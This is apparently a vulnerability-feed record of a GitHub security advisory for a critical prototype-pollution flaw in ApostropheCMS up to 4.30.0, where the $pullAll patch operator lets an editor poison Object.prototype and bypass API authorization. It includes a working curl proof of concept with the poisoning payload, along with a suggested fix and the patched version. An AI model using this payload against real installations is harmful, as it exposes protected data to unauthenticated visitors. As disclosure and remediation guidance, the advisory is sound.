{"id":"CVE-2026-53609","aliases":["GHSA-6h5j-32cf-4253"],"title":"Apostrophe has Server-Side Prototype Pollution in apos.util.set via patch operators that leads to process-wide authorization bypass","summary":"Apostrophe has Server-Side Prototype Pollution in apos.util.set via patch operators that leads to process-wide authorization bypass","severity":"critical","cvss":9.1,"cwe":["CWE-1321"],"vendor":"apostrophe","product":"apostrophe","ecosystem":"npm","affected":["apostrophe <= 4.30.0"],"patched":["apostrophe 4.31.0"],"published":"2026-07-31","updated":"2026-07-31","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-6h5j-32cf-4253","references":[{"url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-6h5j-32cf-4253"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53609"},{"url":"https://github.com/apostrophecms/apostrophe/pull/5464"},{"url":"https://github.com/apostrophecms/apostrophe/commit/5a88e9630cbbdde33154ef8abe7557ddf7be418b"},{"url":"https://github.com/advisories/GHSA-6h5j-32cf-4253"}],"tags":["ghsa","npm"],"epss":0.00237,"epssPercentile":0.15027,"ingestedAt":"2026-07-31T22:04:41.551Z","slug":"CVE-2026-53609","body":"## Overview\n\n<img width=\"1919\" height=\"1046\" alt=\"proto\" src=\"https://github.com/user-attachments/assets/c5c69718-6448-448d-b64b-e3db41ab6ff6\" />\n\n## Summary\n\n`apos.util.set()` traverses dot-notation paths without sanitizing `__proto__`, allowing an authenticated editor to write arbitrary values to `Object.prototype` via the `$pullAll` patch operator.\n\nA confirmed gadget in `publicApiCheck()` causes this to bypass authorization on all piece-type REST API endpoints for every subsequent unauthenticated request, for the lifetime of the Node.js process.\n\n---\n\n## Details\n\n### Root Cause — `apos.util.set()` (`modules/@apostrophecms/util/index.js` ~line 800)\n\nThe function splits a dot-notation path and traverses properties without rejecting `__proto__`, `constructor`, or `prototype`:\n\n```js\nset(o, path, v) {\n  path = path.split('.');\n  for (i = 0; i < path.length - 1; i++) {\n    o = o[path[i]];   // when path[i] === '__proto__', o becomes Object.prototype\n  }\n  o[path[i]] = v;     // mutates Object.prototype\n}\n```\n\n### Source — `implementPatchOperators()` (`modules/@apostrophecms/schema/index.js` ~line 1737)\n\nUser-controlled keys from the `$pullAll` operator are passed directly to `apos.util.set()`:\n\n```js\n_.each(patch.$pullAll, function(val, key) {\n  cloneOriginalBase(key);               // uses _.has (hasOwnProperty)\n  self.apos.util.set(patch, key, ...);  // key is fully attacker-controlled\n});\n```\n\n`cloneOriginalBase()` does not sanitize `__proto__` because `_.has()` performs an own-property check. Since `__proto__` is inherited rather than an own property, the clone step is skipped and execution falls through to `apos.util.set()`.\n\nThe same unsanitized call also appears for direct dot-notation keys in the PATCH body (~line 1811), providing a second independent entry point.\n\n---\n\n### Gadget — `publicApiCheck()` (`modules/@apostrophecms/piece-type/index.js` ~line 1148)\n\n```js\npublicApiCheck(req) {\n  if (!self.options.publicApiProjection) {\n    if (!self.canAccessApi(req)) {\n      throw self.apos.error('notfound');\n    }\n  }\n}\n```\n\nOnce `Object.prototype.publicApiProjection` is set to any truthy value (for example `[]`), every module instance inherits it.\n\nBecause JavaScript property lookup resolves inherited properties from `Object.prototype`, the condition:\n\n```js\n!self.options.publicApiProjection\n```\n\nevaluates to `false` for all modules.\n\nAs a result, the authorization check is skipped for every subsequent request handled by the process.\n\n---\n\n## Proof of Concept\n\n**Environment:** ApostropheCMS v4.30.0, Node.js, MongoDB\n\n**Prerequisites:** Editor-level credentials\n\n### Step 1 — Confirm Endpoint Is Protected (Unauthenticated)\n\n```bash\ncurl -s http://localhost:3000/api/v1/@apostrophecms/user\n```\n\nResponse:\n\n```json\n{\"name\":\"notfound\",\"data\":{},\"message\":\"notfound\"}\n```\n\n---\n\n### Step 2 — Obtain Editor Token\n\n```bash\nTOKEN=$(curl -s -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"editor\",\"password\":\"...\"}' \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)['token'])\")\n```\n\n---\n\n### Step 3 — Poison `Object.prototype` via `$pullAll`\n\n```bash\ncurl -X PATCH \"http://localhost:3000/api/v1/@apostrophecms/global/{docId}:en:draft\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Cookie: apos-testapp.csrf=csrf\" \\\n  -H \"X-XSRF-TOKEN: csrf\" \\\n  -d '{\"$pullAll\":{\"__proto__.publicApiProjection\":[]}}'\n```\n\nResponse:\n\n```http\nHTTP/1.1 200 OK\n```\n\n---\n\n### Step 4 — Authorization Bypass Confirmed (Unauthenticated)\n\n```bash\ncurl -s http://localhost:3000/api/v1/@apostrophecms/user\n```\n\nResponse:\n\n```json\n{\"pages\":0,\"currentPage\":1,\"results\":[]}\n```\n\nThe endpoint now returns a valid paginated response instead of `notfound`.\n\nNo credentials are supplied.\n\nExecution passes `publicApiCheck()` and reaches query processing. The empty result set reflects document-level visibility filtering; the authorization gate itself has been bypassed.\n\n### Cleanup\n\nThe pollution persists until the Node.js process is restarted.\n\n---\n\n## Impact\n\n### Vulnerability Type\n\n**Server-Side Prototype Pollution leading to Authorization Bypass** (CWE-1321)\n\n### Who Is Impacted\n\nAny ApostropheCMS installation where at least one editor-level account exists.\n\nThis is the default configuration for multi-user CMS deployments.\n\n### Security Impact\n\nA single PATCH request from an editor permanently modifies authorization behavior for the entire Node.js process.\n\nAll subsequent unauthenticated requests to piece-type REST API endpoints bypass `publicApiCheck()`.\n\nVerified affected endpoints include:\n\n- `@apostrophecms/user`\n- `@apostrophecms/global`\n\nBased on the shared authorization implementation, other piece-type REST endpoints appear similarly affected.\n\nThe bypass affects every unauthenticated visitor until the server is restarted.\n\n---\n\n## Suggested Fix\n\nReject dangerous prototype-related path segments before traversal:\n\n```js\nif (\n  p === '__proto__' ||\n  p === 'constructor' ||\n  p === 'prototype'\n) {\n  return;\n}\n```\n\nApply the same validation both:\n\n1. Inside `apos.util.set()`\n2. Before passing user-controlled keys into `apos.util.set()` from `implementPatchOperators()`\n\n---\n\n## Affected packages\n\n- `apostrophe <= 4.30.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `apostrophe 4.31.0`","depth":"midnight","depthScore":50,"depthScoreParts":{"impact":50.1,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}